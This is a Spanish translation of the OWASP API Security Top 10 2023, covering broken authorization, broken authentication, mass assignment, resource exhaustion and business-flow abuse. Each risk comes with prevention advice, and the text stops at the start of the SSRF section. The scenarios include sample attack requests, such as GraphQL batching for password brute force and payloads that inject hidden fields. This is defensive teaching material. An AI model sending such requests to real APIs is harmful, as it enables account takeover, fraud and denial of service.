OWASP API 2023 TOP 10

API1:2023: autorización a nivel de objeto roto Las API tienden a exponer puntos finales que manejan identificadores de objetos, creando una amplia superficie de ataque para problemas de control de acceso a nivel de objetos. Se deben considerar comprobaciones de autorización a nivel de objeto en cada función que acceda a una fuente de datos utilizando una identificación del usuario.

API2:2023: autenticación rota Los mecanismos de autenticación a menudo se implementan incorrectamente, lo que permite a los atacantes comprometer los tokens de autenticación o explotar fallas de implementación para asumir las identidades de otros usuarios de manera temporal o permanente. Comprometer la capacidad de un sistema para identificar al cliente/usuario compromete la seguridad de la API en general.

API3:2023: autorización de nivel de propiedad de objeto roto Esta categoría combina API3:2019 Excessive Data Exposure y API6:2019 - Mass Assignment , centrándose en la causa raíz: la falta o validación de autorización inadecuada en el nivel de propiedad del objeto. Esto conduce a la exposición o manipulación de la información por parte de partes no autorizadas.

API4:2023 - Consumo de recursos sin restricciones Satisfacer las solicitudes de API requiere recursos como ancho de banda de red, CPU, memoria y almacenamiento. Los proveedores de servicios ponen a disposición otros recursos, como correos electrónicos, SMS, llamadas telefónicas o validación biométrica, a través de integraciones API y se pagan por solicitud. Los ataques exitosos pueden provocar una denegación de servicio o un aumento de los costos operativos.

API5:2023 - Autorización de nivel de función rota Las políticas complejas de control de acceso con diferentes jerarquías, grupos y roles, y una separación poco clara entre funciones administrativas y regulares, tienden a generar fallas de autorización. Al explotar estos problemas, los atacantes pueden obtener acceso a los recursos y/o funciones administrativas de otros usuarios.

API6:2023: acceso sin restricciones a flujos comerciales confidenciales Las API vulnerables a este riesgo exponen un flujo de negocios (como comprar un boleto o publicar un comentario) sin compensar cómo la funcionalidad podría dañar el negocio si se usa excesivamente de manera automatizada. Esto no necesariamente se debe a errores de implementación.

API7:2023 - Falsificación de solicitudes del lado del servidor Pueden ocurrir fallas de falsificación de solicitudes del lado del servidor (SSRF) cuando una API recupera un recurso remoto sin validar el URI proporcionado por el usuario. Esto permite a un atacante obligar a la aplicación a enviar una solicitud diseñada a un destino inesperado, incluso cuando está protegida por un firewall o una VPN.

API8:2023: configuración incorrecta de seguridad Las API y los sistemas que las respaldan suelen contener configuraciones complejas, destinadas a hacer que las API sean más personalizables. Los ingenieros de software y DevOps pueden pasar por alto estas configuraciones o no seguir las mejores prácticas de seguridad en lo que respecta a la configuración, lo que abre la puerta a diferentes tipos de

ataques.

API9:2023 - Gestión inadecuada del inventario Las API tienden a exponer más puntos finales que las aplicaciones web tradicionales, lo que hace que la documentación adecuada y actualizada sea muy importante. Un inventario adecuado de hosts y versiones de API implementadas también es importante para mitigar problemas como versiones de API obsoletas y puntos finales de depuración expuestos.

API10:2023 - Consumo inseguro de API Los desarrolladores tienden a confiar más en los datos recibidos de API de terceros que en las aportaciones del usuario, por lo que tienden a adoptar estándares de seguridad más débiles. Para comprometer las API, los atacantes buscan servicios integrados de terceros en lugar de intentar comprometer la API de destino directamente.

API1:2023 Autorización a nivel de objeto roto

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia generalizada : Detectabilidad fácil Técnico moderado : específico del negocio

Los atacantes pueden explotar los puntos finales de API que son vulnerables a una autorización a nivel de objeto rota manipulando el ID de un objeto que se envía dentro de la solicitud. Los ID de objeto pueden ser cualquier cosa, desde números enteros secuenciales, UUID o cadenas genéricas. Independientemente del tipo de datos, son fáciles de identificar en el destino de la solicitud (ruta o parámetros de cadena de consulta), encabezados de la solicitud o incluso como parte de la carga útil de la solicitud. Este problema es extremadamente común en aplicaciones basadas en API porque el componente del servidor generalmente no rastrea completamente el estado del cliente y, en cambio, depende más de parámetros como los ID de objetos, que se envían desde el cliente para decidir a qué objetos acceder. La respuesta del servidor suele ser suficiente para saber si la solicitud se realizó correctamente. El acceso no autorizado a los objetos de otros usuarios puede resultar en la divulgación de datos a partes no autorizadas, pérdida de datos o manipulación de datos. En determinadas circunstancias, el acceso no autorizado a los objetos también puede dar lugar a la apropiación total de la cuenta.

¿Es la API vulnerable?

La autorización a nivel de objeto es un mecanismo de control de acceso que generalmente se implementa a nivel de código para validar que un usuario solo puede acceder a los objetos para los que debería tener permisos de acceso.

Cada punto final de API que recibe un ID de un objeto y realiza cualquier acción sobre el objeto debe implementar comprobaciones de autorización a nivel de objeto. Las comprobaciones deben validar que

el usuario que inició sesión tiene permisos para realizar la acción solicitada en el objeto solicitado.

Las fallas en este mecanismo generalmente conducen a la divulgación no autorizada de información, modificación o destrucción de todos los datos.

Comparar el ID de usuario de la sesión actual (por ejemplo, extrayéndolo del token JWT) con el parámetro de ID vulnerable no es una solución suficiente para resolver la Autorización de nivel de objeto roto (BOLA). Este enfoque podría abordar sólo un pequeño subconjunto de casos.

En el caso de BOLA, es por diseño que el usuario tendrá acceso al punto final/función API vulnerable. La violación ocurre a nivel de objeto, al manipular el ID. Si un atacante logra acceder a un punto final/función de API al que no debería tener acceso, este es un caso de autorización de nivel de función rota (BFLA) en lugar de BOLA.

Ejemplos de escenarios de ataque

Escenario 1

Una plataforma de comercio electrónico para tiendas en línea proporciona una página de listado con los gráficos de ingresos de sus tiendas alojadas. Al inspeccionar las solicitudes del navegador, un atacante puede identificar los puntos finales de la API utilizados como fuente de datos para esos gráficos y su patrón: /shops/{shopName}/revenue_data.json. Al utilizar otro punto final API, el atacante puede obtener la lista de todos los nombres de tiendas alojadas. Con un sencillo script para manipular los nombres de la lista, reemplazándolos {shopName}en la URL, el atacante obtiene acceso a los datos de ventas de miles de tiendas de comercio electrónico.

Escenario #2

Un fabricante de automóviles ha habilitado el control remoto de sus vehículos a través de una API móvil para comunicarse con el teléfono móvil del conductor. La API permite al conductor arrancar y detener el motor de forma remota y bloquear y desbloquear las puertas. Como parte de este flujo, el usuario envía el Número de identificación del vehículo (VIN) a la API. La API no puede validar que el VIN represente un vehículo que pertenece al usuario que inició sesión, lo que genera una vulnerabilidad BOLA. Un atacante puede acceder a vehículos que no le pertenecen.

Escenario #3

Un servicio de almacenamiento de documentos en línea permite a los usuarios ver, editar, almacenar y eliminar sus documentos. Cuando se elimina el documento de un usuario, se envía una mutación GraphQL con el ID del documento a la API.

```
POST /graphql

{
   "operationName":"deleteReports",
   "variables":{
      "reportKeys":["<DOCUMENT_ID>"]
   },
   "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
      {
         deleteReports(reportKeys: $reportKeys)
      }
   }"
}
```

Dado que el documento con el ID proporcionado se elimina sin realizar más comprobaciones de permisos, es posible que un usuario pueda eliminar el documento de otro usuario.

Como prevenir

Implemente un mecanismo de autorización adecuado que se base en las políticas y la jerarquía de los usuarios.

Utilice el mecanismo de autorización para verificar si el usuario que inició sesión tiene acceso para realizar la acción solicitada en el registro en cada función que utiliza una entrada del cliente para acceder a un registro en la base de datos.

Prefiere el uso de valores aleatorios e impredecibles como GUID para los ID de los registros.

Escribir pruebas para evaluar la vulnerabilidad del mecanismo de autorización. No implemente cambios

que hagan que las pruebas fallen.

Como prevenir:

Implemente un mecanismo de autorización adecuado que se base en las políticas y la jerarquía de los usuarios.

Utilice el mecanismo de autorización para verificar si el usuario que inició sesión tiene acceso para realizar la acción solicitada en el registro en cada función que utiliza una entrada del cliente para acceder a un registro en la base de datos.

Prefiere el uso de valores aleatorios e impredecibles como GUID para los ID de los registros.

Escribir pruebas para evaluar la vulnerabilidad del mecanismo de autorización. No implemente cambios que hagan que las pruebas fallen.

API2:2023 Autenticación rota

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia Común : Detectabilidad Fácil Técnico severo : específico del negocio

El mecanismo de autenticación es un objetivo fácil para los atacantes ya que está expuesto a todos. Aunque es posible que se requieran habilidades técnicas más avanzadas para explotar algunos problemas de autenticación, generalmente hay herramientas de explotación disponibles. Las ideas erróneas de los ingenieros de software y seguridad sobre los límites de la autenticación y la complejidad inherente de la implementación hacen que los problemas de autenticación prevalezcan. Hay metodologías disponibles para detectar autenticación rota y son fáciles de crear. Los atacantes pueden obtener control total de las cuentas de otros usuarios en el sistema, leer sus datos personales y realizar acciones confidenciales en su nombre. Es poco probable que los sistemas puedan distinguir las acciones de los atacantes de las de los usuarios legítimos.

¿Es la API vulnerable?

Los puntos finales y los flujos de autenticación son activos que deben protegerse. Además, "Olvidé mi contraseña/restablecí mi contraseña" debe tratarse de la misma manera que los mecanismos de autenticación.

Una API es vulnerable si:

Permite el relleno de credenciales donde el atacante usa fuerza bruta con una lista de nombres de usuario y contraseñas válidos.

Permite a los atacantes realizar un ataque de fuerza bruta en la misma cuenta de usuario, sin presentar captcha/mecanismo de bloqueo de cuenta.

Permite contraseñas débiles.

Envía detalles de autenticación confidenciales, como tokens de autenticación y contraseñas en la URL.

Permite a los usuarios cambiar su dirección de correo electrónico, contraseña actual o realizar cualquier otra operación confidencial sin solicitar confirmación de contraseña.

No valida la autenticidad de los tokens.

Acepta tokens JWT sin firmar o con firma débil ({"alg":"none"})

No valida la fecha de vencimiento de JWT.

Utiliza contraseñas de texto sin formato, no cifradas o con hash débil.

Utiliza claves de cifrado débiles.

Además, un microservicio es vulnerable si:

Otros microservicios pueden acceder a él sin autenticación.

Utiliza tokens débiles o predecibles para hacer cumplir la autenticación

Ejemplos de escenarios de ataque

Escenario 1

Para realizar la autenticación de usuario, el cliente debe emitir una solicitud API como la siguiente con las credenciales del usuario:

```
POST /graphql

{

   "query":"mutation {

      login (username:\"<username>\",password:\"<password>\") {

         token
```

```
    }
  }"
}
```

Si las credenciales son válidas, se devuelve un token de autenticación que debe proporcionarse en solicitudes posteriores para identificar al usuario. Los intentos de inicio de sesión están sujetos a una limitación de velocidad restrictiva: solo se permiten tres solicitudes por minuto.

Para iniciar sesión por fuerza bruta con la cuenta de una víctima, los delincuentes aprovechan el procesamiento por lotes de consultas GraphQL para evitar la limitación de la tasa de solicitudes, lo que acelera el ataque:

```
POST /graphql

[
  {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"},
  {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"},
  {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"},
  ...
  {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"},
]
```

Escenario #2

Para actualizar la dirección de correo electrónico asociada con la cuenta de un usuario, los clientes deben emitir una solicitud API como la siguiente:

```
PUT /account

Authorization: Bearer <token>

{ "email": "<new_email_address>" }
```

Debido a que la API no requiere que los usuarios confirmen su identidad proporcionando su contraseña actual, los delincuentes capaces de robar el token de autenticación podrían hacerse cargo de la cuenta de la víctima iniciando el flujo de trabajo de restablecimiento de contraseña después de actualizar el correo electrónico. dirección de la cuenta de la víctima.

Como prevenir

Asegúrese de conocer todos los flujos posibles para autenticarse en la API (móvil/web/enlaces profundos que implementan la autenticación con un solo clic/etc.). Pregunte a sus ingenieros qué flujos perdió.

Lea acerca de sus mecanismos de autenticación. Asegúrese de comprender qué y cómo se utilizan. OAuth no es autenticación, ni tampoco las claves API.

No reinventes la rueda de la autenticación, la generación de tokens o el almacenamiento de contraseñas. Utilice los estándares.

Los puntos finales de recuperación de credenciales/contraseña olvidada deben tratarse como puntos finales de inicio de sesión en términos de fuerza bruta, limitación de velocidad y protecciones de bloqueo.

Requerir una nueva autenticación para operaciones confidenciales (por ejemplo, cambiar la dirección de correo electrónico del propietario de la cuenta/el número de teléfono 2FA).

Utilice la hoja de referencia de autenticación OWASP .

Siempre que sea posible, implemente la autenticación multifactor.

Implemente mecanismos antifuerza bruta para mitigar el relleno de credenciales, los ataques de diccionario y los ataques de fuerza bruta en sus puntos finales de autenticación. Este mecanismo debería ser más estricto que los mecanismos de limitación de velocidad habituales en sus API.

Implemente mecanismos de bloqueo de cuentas /captcha para evitar ataques de fuerza bruta contra usuarios específicos. Implemente controles de contraseñas débiles.

Las claves API no deben usarse para la autenticación de usuarios. Solo deben usarse para la autenticación de clientes API .

API3: 2023 Autorización de nivel de propiedad de objeto roto

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia Común : Detectabilidad Fácil Técnico

moderado : específico del negocio

Las API tienden a exponer puntos finales que devuelven todas las propiedades de los objetos. Esto es particularmente válido para las API REST. Para otros protocolos como GraphQL, es posible que se requieran solicitudes diseñadas para especificar qué propiedades se deben devolver. Identificar estas propiedades adicionales que pueden manipularse requiere más esfuerzo, pero existen algunas herramientas automatizadas disponibles para ayudar en esta tarea. Inspeccionar las respuestas de la API es suficiente para identificar información confidencial en las representaciones de los objetos devueltos. La fuzzing se suele utilizar para identificar propiedades adicionales (ocultas). Si se pueden cambiar es cuestión de elaborar una solicitud de API y analizar la respuesta. Es posible que sea necesario un análisis de efectos secundarios si la propiedad de destino no se devuelve en la respuesta de la API.

El acceso no autorizado a propiedades de objetos privados/sensibles puede resultar en la divulgación, pérdida o corrupción de datos. En determinadas circunstancias, el acceso no autorizado a las propiedades de los objetos puede provocar una escalada de privilegios o la apropiación parcial o total de la cuenta.

¿Es la API vulnerable?

Al permitir que un usuario acceda a un objeto mediante un punto final API, es importante validar que el usuario tenga acceso a las propiedades específicas del objeto al que intenta acceder.

Un punto final API es vulnerable si:

El punto final de API expone propiedades de un objeto que se consideran confidenciales y el usuario no debe leerlas. (anteriormente denominado: " Exposición excesiva de datos ")

El punto final API permite a un usuario cambiar, agregar o eliminar el valor de la propiedad de un objeto confidencial al que el usuario no debería poder acceder (anteriormente llamado: " Asignación masiva ")

Ejemplos de escenarios de ataque

Escenario 1

Una aplicación de citas permite a un usuario denunciar a otros usuarios por comportamiento inapropiado. Como parte de este flujo, el usuario hace clic en un botón de "informar" y se activa la siguiente llamada API:

POST /graphql

{

```
    "operationName":"reportUser",
    "variables":{
        "userId": 313,
        "reason":["offensive behavior"]
    },
    "query":"mutation reportUser($userId: ID!, $reason: String!) {
        reportUser(userId: $userId, reason: $reason) {
            status
            message
            reportedUser {
                id
                fullName
                recentLocation
            }
        }
    }"
}
```

El punto final API es vulnerable ya que permite que el usuario autenticado tenga acceso a propiedades sensibles (reportadas) de objetos de usuario, como "fullName" y "recentLocation", a las que se supone que otros usuarios no deben acceder.

Escenario #2

Una plataforma de mercado en línea, que ofrece a un tipo de usuarios ("anfitriones") alquilar su apartamento a otro tipo de usuarios ("huéspedes"), requiere que el anfitrión acepte una reserva hecha por un huésped, antes de cobrarle por el permanecer.

Como parte de este flujo, el host envía una llamada API POST /api/host/approve_bookingcon la

siguiente carga útil legítima:

```
{
    "approved": true,
    "comment": "Check-in is after 3pm"
}
```

El host reproduce la solicitud legítima y agrega la siguiente carga maliciosa:

```
{
    "approved": true,
    "comment": "Check-in is after 3pm",
    "total_stay_price": "$1,000,000"
}
```

El punto final de la API es vulnerable porque no hay validación de que el anfitrión deba tener acceso a la propiedad del objeto interno total_stay_price, y al huésped se le cobrará más de lo que se suponía.

Escenario #3

Una red social que se basa en videos cortos, impone censura y filtrado de contenido restrictivo. Incluso si un video subido está bloqueado, el usuario puede cambiar la descripción del video usando la siguiente solicitud API:

```
PUT /api/video/update_video

{
    "description": "a funny video about cats"
}
```

Un usuario frustrado puede reproducir la solicitud legítima y agregar la siguiente carga maliciosa:

{

"description": "a funny video about cats",

"blocked": false

}

El punto final de la API es vulnerable porque no hay validación si el usuario debe tener acceso a la propiedad del objeto interno - blockedy el usuario puede cambiar el valor de truea falsey desbloquear su propio contenido bloqueado.

Como prevenir

Al exponer un objeto utilizando un punto final API, asegúrese siempre de que el usuario tenga acceso a las propiedades del objeto que expone.

Evite el uso de métodos genéricos como to_json()y to_string(). En su lugar, seleccione propiedades de objetos específicas que desee devolver específicamente.

Si es posible, evite el uso de funciones que vinculen automáticamente la entrada de un cliente a variables de código, objetos internos o propiedades de objetos ("Asignación masiva").

Permita cambios solo en las propiedades del objeto que el cliente debe actualizar.

Implemente un mecanismo de validación de respuestas basado en esquemas como capa adicional de seguridad. Como parte de este mecanismo, defina y aplique los datos devueltos por todos los métodos API.

Mantenga las estructuras de datos devueltas al mínimo indispensable, de acuerdo con los requisitos comerciales/funcionales del punto final.

API4:2023 Consumo de recursos sin restricciones

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

Específico de API: promedio de explotabilidad Prevalencia generalizada : Detectabilidad fácil Técnico severo : específico del negocio

La explotación requiere solicitudes API simples. Se pueden realizar múltiples solicitudes simultáneas desde una única computadora local o utilizando recursos de computación en la nube. La mayoría de las herramientas automatizadas disponibles están diseñadas para provocar DoS a través de grandes cargas

de tráfico, lo que afecta la tasa de servicio de las API. Es común encontrar API que no limitan las interacciones con el cliente ni el consumo de recursos. Las solicitudes de API diseñadas, como aquellas que incluyen parámetros que controlan la cantidad de recursos que se devolverán y realizan un análisis del estado, tiempo y duración de la respuesta, deberían permitir la identificación del problema. Lo mismo es válido para operaciones por lotes. Aunque los agentes de amenazas no tienen visibilidad sobre el impacto en los costos, esto se puede inferir en función del modelo comercial y de precios de los proveedores de servicios (por ejemplo, el proveedor de la nube). La explotación puede provocar DoS debido a la falta de recursos, pero también puede provocar un aumento de los costos operativos, como los relacionados con la infraestructura, debido a una mayor demanda de CPU, mayores necesidades de almacenamiento en la nube, etc.

¿Es la API vulnerable?

Satisfacer las solicitudes de API requiere recursos como ancho de banda de red, CPU, memoria y almacenamiento. A veces, los proveedores de servicios ponen a disposición los recursos necesarios a través de integraciones API y se pagan por solicitud, como el envío de correos electrónicos/SMS/llamadas telefónicas, validación biométrica, etc.

Una API es vulnerable si al menos uno de los siguientes límites falta o se establece de manera inapropiada (por ejemplo, demasiado bajo/alto):

Tiempos de espera de ejecución

Memoria máxima asignable

Número máximo de descriptores de archivos

Número máximo de procesos

Tamaño máximo de archivo de carga

Número de operaciones a realizar en una única solicitud de cliente API (por ejemplo, procesamiento por lotes GraphQL)

Número de registros por página a devolver en una única solicitud-respuesta

Límite de gasto de proveedores de servicios externos

Ejemplos de escenarios de ataque

Escenario 1

Una red social implementó un flujo de "contraseña olvidada" mediante verificación por SMS, lo que

permite al usuario recibir un token único por SMS para restablecer su contraseña.

Una vez que un usuario hace clic en "Olvidé mi contraseña", se envía una llamada API desde el navegador del usuario a la API back-end:

POST /initiate_forgot_password

```
{
    "step": 1,
    "user_number": "6501113434"
}
```

Luego, detrás de escena, se envía una llamada API desde el back-end a una API de terceros que se encarga de la entrega de SMS:

POST /sms/send_reset_pass_code

Host: willyo.net

```
{
    "phone_number": "6501113434"
}
```

El proveedor externo, Willyo, cobra $0,05 por este tipo de llamada.

Un atacante escribe un script que envía la primera llamada a la API decenas de miles de veces. El backend sigue y solicita a Willyo que envíe decenas de miles de mensajes de texto, lo que lleva a la empresa a perder miles de dólares en cuestión de minutos.

Escenario #2

Un punto final API GraphQL permite al usuario cargar una imagen de perfil.

```
POST /graphql

{
    "query": "mutation {
        uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {
            url
        }
    }"
}
```

Una vez que se completa la carga, la API genera múltiples miniaturas con diferentes tamaños según la imagen cargada. Esta operación gráfica consume mucha memoria del servidor.

La API implementa una protección de limitación de velocidad tradicional: un usuario no puede acceder al punto final GraphQL demasiadas veces en un corto período de tiempo. La API también verifica el tamaño de la imagen cargada antes de generar miniaturas para evitar procesar imágenes que sean demasiado grandes.

Un atacante puede eludir fácilmente esos mecanismos aprovechando la naturaleza flexible de GraphQL:

```
POST /graphql

[
    {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
    {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
```

...

{"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},

}

Debido a que la API no limita la cantidad de veces que uploadPicse puede intentar la operación, la llamada provocará el agotamiento de la memoria del servidor y la denegación de servicio.

Escenario #3

Un proveedor de servicios permite a los clientes descargar archivos arbitrariamente grandes utilizando su API. Estos archivos se almacenan en el almacenamiento de objetos en la nube y no cambian con tanta frecuencia. El proveedor de servicios depende de un servicio de caché para tener una mejor tasa de servicio y mantener bajo el consumo de ancho de banda. El servicio de caché sólo almacena en caché archivos de hasta 15 GB.

Cuando uno de los archivos se actualiza, su tamaño aumenta a 18 GB. Todos los clientes del servicio comienzan inmediatamente a descargar la nueva versión. Debido a que no hubo alertas de costos de consumo, ni asignación de costo máximo para el servicio en la nube, la próxima factura mensual aumenta de US$13, en promedio, a US$8k.

Como prevenir

Utilice una solución que facilite la limitación de la memoria , la CPU , el número de reinicios , los descriptores de archivos y procesos como contenedores/código sin servidor (por ejemplo, Lambdas).

Defina y aplique un tamaño máximo de datos en todos los parámetros y cargas entrantes, como la longitud máxima de las cadenas, la cantidad máxima de elementos en matrices y el tamaño máximo del archivo de carga (independientemente de si está almacenado localmente o en la nube).

Implementar un límite sobre la frecuencia con la que un cliente puede interactuar con la API dentro de un período de tiempo definido (limitación de velocidad).

La limitación de tarifas debe ajustarse en función de las necesidades del negocio. Algunos puntos finales de API pueden requerir políticas más estrictas.

Limite/acelere cuántas veces o con qué frecuencia un único cliente/usuario de API puede ejecutar una sola operación (por ejemplo, validar una OTP o solicitar la recuperación de contraseña sin visitar la URL de un solo uso).

Agregue una validación adecuada del lado del servidor para la cadena de consulta y los parámetros del cuerpo de la solicitud, específicamente el que controla la cantidad de registros que se devolverán en la respuesta.

Configure límites de gasto para todos los proveedores de servicios/integraciones de API. Cuando no es posible establecer límites de gasto, se deben configurar alertas de facturación.

API5:2023 Autorización de nivel de función rota

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia Común : Detectabilidad Fácil Técnico severo : específico del negocio

La explotación requiere que el atacante envíe llamadas API legítimas a un punto final API al que no debería tener acceso como usuarios anónimos o usuarios normales sin privilegios. Los puntos finales expuestos serán fácilmente explotados. Las comprobaciones de autorización para una función o recurso generalmente se administran a través del nivel de configuración o código. Implementar comprobaciones adecuadas puede ser una tarea confusa, ya que las aplicaciones modernas pueden contener muchos tipos de roles, grupos y jerarquías de usuarios complejas (por ejemplo, subusuarios o usuarios con más de un rol). Es más fácil descubrir estos fallos en las API, ya que están más estructuradas y el acceso a diferentes funciones es más predecible. Estas fallas permiten a los atacantes acceder a funciones no autorizadas. Las funciones administrativas son objetivos clave para este tipo de ataque y pueden provocar la divulgación, pérdida o corrupción de datos. En última instancia, puede provocar una interrupción del servicio.

¿Es la API vulnerable?

La mejor manera de encontrar problemas de autorización de nivel de función rotos es realizar un análisis profundo del mecanismo de autorización teniendo en cuenta la jerarquía de usuarios, los diferentes roles o grupos en la aplicación y haciendo las siguientes preguntas:

¿Puede un usuario normal acceder a los puntos finales administrativos?

¿Puede un usuario realizar acciones confidenciales (por ejemplo, creación, modificación o eliminación) a las que no debería tener acceso simplemente cambiando el método HTTP (por ejemplo, de GETa DELETE)?

¿Puede un usuario del grupo X acceder a una función que debería estar expuesta solo a los usuarios del grupo Y, simplemente adivinando la URL del punto final y los parámetros (por ejemplo /api/v1/users/export_all)?

No asuma que un punto final de API es regular o administrativo únicamente según la ruta URL.

Si bien los desarrolladores pueden optar por exponer la mayoría de los puntos finales administrativos en una ruta relativa específica, como /api/admins, es muy común encontrar estos puntos finales administrativos en otras rutas relativas junto con puntos finales normales, como /api/users.

Ejemplos de escenarios de ataque

Escenario 1

Durante el proceso de registro de una aplicación que solo permite unirse a usuarios invitados, la aplicación móvil activa una llamada API a GET /api/invites/{invite_guid}. La respuesta contiene un JSON con detalles sobre la invitación, incluido el rol del usuario y el correo electrónico del usuario.

Un atacante duplica la solicitud y manipula el método HTTP y el punto final para POST /api/invites/new. Solo los administradores deben acceder a este punto final mediante la consola de administración. El punto final no implementa comprobaciones de autorización a nivel de función.

El atacante aprovecha el problema y envía una nueva invitación con privilegios de administrador:

POST /api/invites/new

```
{
    "email": "attacker@somehost.com",
    "role":"admin"
}
```

Más tarde, el atacante utiliza la invitación creada con fines malintencionados para crear una cuenta de administrador y obtener acceso completo al sistema.

Escenario #2

Una API contiene un punto final que debe estar expuesto sólo a los administradores: GET /api/admin/v1/users/all. Este punto final devuelve los detalles de todos los usuarios de la aplicación y no implementa comprobaciones de autorización a nivel de función. Un atacante que aprendió la estructura de la API hace una suposición fundamentada y logra acceder a este punto final, que expone detalles confidenciales de los usuarios de la aplicación.

Como prevenir

Su aplicación debe tener un módulo de autorización consistente y fácil de analizar que se invoque desde todas sus funciones comerciales. Con frecuencia, dicha protección la proporcionan uno o más componentes externos al código de la aplicación.

Los mecanismos de aplicación deben denegar todo acceso de forma predeterminada, exigiendo concesiones explícitas a roles específicos para el acceso a cada función.

Revise los puntos finales de su API para detectar fallas de autorización a nivel de función, teniendo en cuenta la lógica empresarial de la jerarquía de aplicaciones y grupos.

Asegúrese de que todos sus controladores administrativos hereden de un controlador abstracto administrativo que implemente comprobaciones de autorización basadas en el grupo/rol del usuario.

Asegúrese de que las funciones administrativas dentro de un controlador normal implementen comprobaciones de autorización basadas en el grupo y la función del usuario.

API6:2023 Acceso sin restricciones a flujos comerciales confidenciales

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia generalizada : promedio de detectabilidad Técnico moderado : específico del negocio

La explotación generalmente implica comprender el modelo de negocio respaldado por la API, encontrar flujos de negocios sensibles y automatizar el acceso a estos flujos, lo que daña el negocio. La falta de una visión holística de la API para satisfacer plenamente los requisitos empresariales tiende a contribuir a la prevalencia de este problema. Los atacantes identifican manualmente qué recursos (por ejemplo, puntos finales) están involucrados en el flujo de trabajo objetivo y cómo trabajan juntos. Si ya existen mecanismos de mitigación, los atacantes deben encontrar una manera de eludirlos. En general, no se espera ningún impacto técnico. La explotación puede perjudicar al negocio de diferentes maneras, por ejemplo: impedir que los usuarios legítimos compren un producto o generar inflación en la economía interna de un juego.

¿Es la API vulnerable?

Al crear un punto final API, es importante comprender qué flujo de negocios expone. Algunos flujos de negocios son más sensibles que otros, en el sentido de que un acceso excesivo a ellos puede perjudicar el negocio.

Ejemplos comunes de flujos comerciales sensibles y el riesgo de acceso excesivo asociado a ellos:

Comprar un flujo de productos: un atacante puede comprar todas las existencias de un artículo de alta demanda a la vez y revenderlo a un precio más alto (scalping).

Crear un flujo de comentarios/publicaciones: un atacante puede enviar spam al sistema

Hacer una reserva: un atacante puede reservar todas las franjas horarias disponibles e impedir que otros usuarios utilicen el sistema.

El riesgo de un acceso excesivo podría variar entre industrias y empresas. Por ejemplo, la creación de publicaciones mediante un script podría considerarse un riesgo de spam en una red social, pero fomentado en otra red social.

Un API Endpoint es vulnerable si expone un flujo comercial sensible, sin restringir adecuadamente el acceso al mismo.

Ejemplos de escenarios de ataque

Escenario 1

Una empresa de tecnología anuncia que lanzará una nueva consola de juegos el Día de Acción de Gracias. El producto tiene una demanda muy alta y el stock es limitado. Un atacante escribe un código para comprar automáticamente el nuevo producto y completar la transacción.

El día del lanzamiento, el atacante ejecuta el código distribuido en diferentes direcciones IP y ubicaciones. La API no implementa la protección adecuada y permite al atacante comprar la mayoría de las acciones antes que otros usuarios legítimos.

Posteriormente, el atacante vende el producto en otra plataforma por un precio mucho mayor.

Escenario #2

Una compañía aérea ofrece la compra de billetes online sin gastos de cancelación. Un usuario con intenciones maliciosas reserva el 90% de los asientos de un vuelo deseado.

Unos días antes del vuelo, el usuario malintencionado canceló todos los billetes a la vez, lo que obligó a la aerolínea a descontar los precios de los billetes para poder completar el vuelo.

En este punto, el usuario compra un billete sencillo mucho más barato que el original.

Escenario #3

Una aplicación de viajes compartidos proporciona un programa de referencia: los usuarios pueden invitar a sus amigos y obtener crédito por cada amigo que se una a la aplicación. Este crédito se puede utilizar posteriormente como efectivo para reservar viajes.

Un atacante aprovecha este flujo escribiendo un script para automatizar el proceso de registro, en el que cada nuevo usuario agrega crédito a la billetera del atacante.

Posteriormente, el atacante puede disfrutar de viajes gratis o vender las cuentas con créditos excesivos por dinero en efectivo.

Como prevenir

La planificación de mitigación debe realizarse en dos niveles:

Negocios: identificar los flujos de negocios que podrían dañar el negocio si se utilizan en exceso.

Ingeniería: elija los mecanismos de protección adecuados para mitigar el riesgo empresarial.

Algunos de los mecanismos de protección son más simples mientras que otros son más difíciles de implementar. Los siguientes métodos se utilizan para ralentizar las amenazas automatizadas:

Huellas digitales del dispositivo: negar el servicio a dispositivos cliente inesperados (por ejemplo, navegadores sin cabeza) tiende a hacer que los actores de amenazas utilicen soluciones más sofisticadas y, por lo tanto, más costosas para ellos.

Detección humana: utilizando captcha o soluciones biométricas más avanzadas (por ejemplo, patrones de escritura)

Patrones no humanos: analiza el flujo de usuarios para detectar patrones no humanos (por ejemplo, el usuario accedió a las funciones "añadir al carrito" y "completar compra" en menos de un segundo)

Considere bloquear direcciones IP de nodos de salida de Tor y servidores proxy conocidos

Proteja y limite el acceso a las API que consumen directamente las máquinas (como las API de desarrollador y B2B). Suelen ser un blanco fácil para los atacantes porque a menudo no implementan todos los mecanismos de protección necesarios.

API7:2023 Falsificación de solicitudes del lado del servidor

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia Común : Detectabilidad Fácil Técnico moderado : específico del negocio

